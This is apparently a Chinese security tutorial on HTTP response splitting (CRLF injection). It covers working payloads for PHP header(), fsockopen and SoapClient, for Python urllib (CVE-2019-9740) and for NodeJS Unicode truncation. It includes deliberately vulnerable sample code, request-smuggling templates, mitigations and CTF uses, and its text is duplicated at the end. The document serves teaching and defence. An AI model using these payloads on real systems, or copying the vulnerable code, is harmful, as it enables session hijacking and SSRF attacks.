浅入深出谭谈 HTTP 响应拆分(CRLF Injection)攻击(上)
字数 1816 2025-08-05 08:19:01

HTTP响应拆分(CRLF Injection)攻击深度解析

1. CRLF与CRLF Injection漏洞概述

CRLF指的是回车符(CR, ASCII 13, \r, %0d)和换行符(LF, ASCII 10, \n, %0a)的简称(\r\n)。在HTTP协议中:

  • HTTP报文以状态行开始,后跟HTTP首部
  • 每个首部字段以CRLF结束
  • 首部与主体之间由两个CRLF分隔

CRLF注入漏洞(又称HTTP响应拆分漏洞)的核心原理是:当Web应用未对用户输入严格验证时,攻击者可以注入恶意CRLF字符,从而:

  1. 注入恶意HTTP头(如会话Cookie)
  2. 直接构造新的HTTP请求
  3. 甚至注入HTML代码

2. 漏洞利用场景与技术细节

2.1 Location字段的302跳转

示例代码

<?php
if (isset($_GET["url"])){
    header("Location: " . $_GET["url"]);
    exit;
}
?>

正常请求
/?url=https://whoamianony.top

恶意注入
/?url=https://whoamianony.top%0d%0aSet-Cookie:PHPSESSID=whoami

结果

HTTP/1.1 302
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami

原理:%0d%0a被解析为行结束符,Set-Cookie被视为新的首部字段。

2.2 PHP fsockopen()函数

示例代码

<?php
$host = $_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

恶意注入
/?url=47.101.57.72:4000%0d%0aSet-Cookie:PHPSESSID=whoami

结果

GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close

2.3 PHP SoapClient类

基本用法

$a = new SoapClient(null, array(
    'location' => 'http://47.101.57.72:4000/aaa',
    'uri' => 'http://47.101.57.72:4000'
));

2.3.1 User-Agent头部注入

示例代码

$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami",
    'uri' => 'test'
));

结果

POST / HTTP/1.1
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami

2.3.2 发送POST数据包

关键技术点

  1. 需要两个CRLF分隔头部和主体
  2. 需要覆盖默认的Content-Type

示例代码

$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => 'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'
        . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_data)
        . '^^^^' . $post_data,
    'uri' => 'test'
));
$b = str_replace('^^', "\n\r", serialize($a));

2.4 Python urllib CRLF注入漏洞(CVE-2019-9740)

影响版本

  • Python 2.x至2.7.16中的urllib2
  • Python 3.x至3.7.2中的urllib

2.4.1 在HTTP状态行注入恶意首部字段

示例代码

import urllib.request
url = "http://47.101.57.72:4000?a=1 HTTP/1.1 \r\nCRLF-injection: True \r\nSet-Cookie: PHPSESSID=whoami"
urllib.request.urlopen(url)

结果

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1

2.4.2 注入完整HTTP请求

关键技术点

  1. 闭合原始HTTP状态行
  2. 构造新的完整请求
  3. 闭合原始请求避免干扰

示例构造

payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求头和数据...]
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

2.5 NodeJS中的CRLF Injection

特殊之处:利用Unicode字符损坏实现CRLF注入

2.5.1 Unicode字符截断原理

高编号Unicode字符在latin1编码下会被截断为低字节:

  • \u0130 → \u30
  • \u010d → \r (%0d)
  • \u010a → \n (%0a)

2.5.2 控制字符构造表

字符 Unicode编码 对应字符 URL编码
\r \u010d č %C4%8D
\n \u010a Ċ %C4%8A
空格 \u0120 Ġ %C4%A0
\ \u0122 Ģ %C4%A2
' \u0127 ħ %C4%A7
` \u0160 Š %C5%A0
! \u0121 ġ %C4%A1

2.5.3 注入示例

简单注入

http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI')

结果

GET /čĊĊ/WHOAMI HTTP/1.1

实际传输:

GET /
/WHOAMI HTTP/1.1

2.5.4 构造完整请求

示例构造

payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求...]
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

function payload_encode(raw) {
    ret = u""
    for(i in raw) {
        ret += chr(0x0100 + ord(i))
    }
    return ret
}

3. 漏洞防御措施

  1. 输入验证:严格过滤用户输入中的CRLF字符(\r, \n, %0d, %0a)
  2. 编码输出:对输出到HTTP头部的数据进行编码
  3. 使用安全API:避免直接拼接HTTP头部
  4. 更新软件:修复已知漏洞版本(如Python 3.7.3+修复了CVE-2019-9740)
  5. 最小权限原则:限制网络请求的目标和范围

4. 实际应用与CTF示例

CRLF注入常与SSRF结合使用,可用于:

  1. 绕过内网访问控制
  2. 伪造管理员会话
  3. 实施缓存投毒攻击
  4. 构造恶意请求攻击内网服务

在CTF中常见于:

  1. 会话固定漏洞利用
  2. 内网服务探测
  3. 管理员权限获取
  4. 结合其他漏洞的综合利用
HTTP响应拆分(CRLF Injection)攻击深度解析 1. CRLF与CRLF Injection漏洞概述 CRLF指的是回车符(CR, ASCII 13, \r, %0d)和换行符(LF, ASCII 10, \n, %0a)的简称(\r\n)。在HTTP协议中: HTTP报文以状态行开始,后跟HTTP首部 每个首部字段以CRLF结束 首部与主体之间由两个CRLF分隔 CRLF注入漏洞(又称HTTP响应拆分漏洞)的核心原理是:当Web应用未对用户输入严格验证时,攻击者可以注入恶意CRLF字符,从而: 注入恶意HTTP头(如会话Cookie) 直接构造新的HTTP请求 甚至注入HTML代码 2. 漏洞利用场景与技术细节 2.1 Location字段的302跳转 示例代码 : 正常请求 : /?url=https://whoamianony.top 恶意注入 : /?url=https://whoamianony.top%0d%0aSet-Cookie:PHPSESSID=whoami 结果 : 原理 :%0d%0a被解析为行结束符,Set-Cookie被视为新的首部字段。 2.2 PHP fsockopen()函数 示例代码 : 恶意注入 : /?url=47.101.57.72:4000%0d%0aSet-Cookie:PHPSESSID=whoami 结果 : 2.3 PHP SoapClient类 基本用法 : 2.3.1 User-Agent头部注入 示例代码 : 结果 : 2.3.2 发送POST数据包 关键技术点 : 需要两个CRLF分隔头部和主体 需要覆盖默认的Content-Type 示例代码 : 2.4 Python urllib CRLF注入漏洞(CVE-2019-9740) 影响版本 : Python 2.x至2.7.16中的urllib2 Python 3.x至3.7.2中的urllib 2.4.1 在HTTP状态行注入恶意首部字段 示例代码 : 结果 : 2.4.2 注入完整HTTP请求 关键技术点 : 闭合原始HTTP状态行 构造新的完整请求 闭合原始请求避免干扰 示例构造 : 2.5 NodeJS中的CRLF Injection 特殊之处 :利用Unicode字符损坏实现CRLF注入 2.5.1 Unicode字符截断原理 高编号Unicode字符在latin1编码下会被截断为低字节: \u0130 → \u30 \u010d → \r (%0d) \u010a → \n (%0a) 2.5.2 控制字符构造表 | 字符 | Unicode编码 | 对应字符 | URL编码 | |------|-------------|----------|---------| | \r | \u010d | č | %C4%8D | | \n | \u010a | Ċ | %C4%8A | | 空格 | \u0120 | Ġ | %C4%A0 | | \ | \u0122 | Ģ | %C4%A2 | | ' | \u0127 | ħ | %C4%A7 | | ` | \u0160 | Š | %C5%A0 | | ! | \u0121 | ġ | %C4%A1 | 2.5.3 注入示例 简单注入 : 结果 : 实际传输: 2.5.4 构造完整请求 示例构造 : 3. 漏洞防御措施 输入验证 :严格过滤用户输入中的CRLF字符(\r, \n, %0d, %0a) 编码输出 :对输出到HTTP头部的数据进行编码 使用安全API :避免直接拼接HTTP头部 更新软件 :修复已知漏洞版本(如Python 3.7.3+修复了CVE-2019-9740) 最小权限原则 :限制网络请求的目标和范围 4. 实际应用与CTF示例 CRLF注入常与SSRF结合使用,可用于: 绕过内网访问控制 伪造管理员会话 实施缓存投毒攻击 构造恶意请求攻击内网服务 在CTF中常见于: 会话固定漏洞利用 内网服务探测 管理员权限获取 结合其他漏洞的综合利用